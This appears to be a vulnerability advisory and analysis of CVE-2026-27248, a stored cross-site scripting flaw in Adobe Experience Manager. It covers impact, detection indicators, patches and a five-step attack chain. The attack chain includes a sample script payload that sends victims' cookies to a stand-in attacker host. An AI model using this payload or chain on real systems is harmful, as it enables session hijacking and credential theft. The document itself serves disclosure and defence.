CVE-2026-27248: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-27248 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged authenticated attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM on-premises 6.5.23 and earlier (fixed in 6.5.24.0) and AEM Cloud Service prior to 2026.2.0. Adobe disclosed and patched this vulnerability on March 10–11, 2026 as part of security bulletin APSB26-24. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is persisted server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected payload) but does not require elevated privileges beyond a standard authenticated session. No public proof-of-concept code has been identified (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the attacker's own session to affect other users. Confidentiality and integrity are both partially compromised, while availability is not directly impacted (Adobe Advisory).

1. Gain low-privileged access: Obtain or create a low-privileged authenticated account on the target AEM instance (e.g., a contributor or author role).
2. Identify vulnerable form fields: Navigate AEM's authoring interface to locate form fields that do not properly sanitize user input before storing and rendering it.
3. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
4. Deliver the malicious page to a victim: Lure a higher-privileged user (e.g., an AEM administrator) to browse the page containing the injected script, via phishing or social engineering.
5. Harvest results: The victim's browser executes the injected JavaScript, enabling session cookie theft, credential capture, or unauthorized actions within AEM on behalf of the victim (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups originating from AEM user sessions.
• File System / Content Repository: Presence of <script> tags or JavaScript payloads within stored AEM content nodes (JCR repository); unexpected modifications to page content by low-privileged accounts.
• Process/Session: Anomalous session activity for privileged AEM accounts (e.g., unexpected content modifications, user creation, or permission changes) that may indicate session hijacking following XSS exploitation.

Adobe has released patches addressing this vulnerability: update AEM Cloud Service to version 2026.2.0 or later, or update AEM on-premises to version 6.5.24.0 or later. As a compensating control, restrict AEM authoring access to trusted, vetted users and enforce the principle of least privilege. Additionally, educate users — especially administrators — about phishing and social engineering risks to reduce the likelihood of a victim clicking a malicious link or visiting a compromised page (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting that multiple vulnerabilities in Adobe products, including this CVE, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable flagged the vulnerability in its plugin pipeline. Community coverage has been limited, consistent with the Medium severity rating and absence of active exploitation.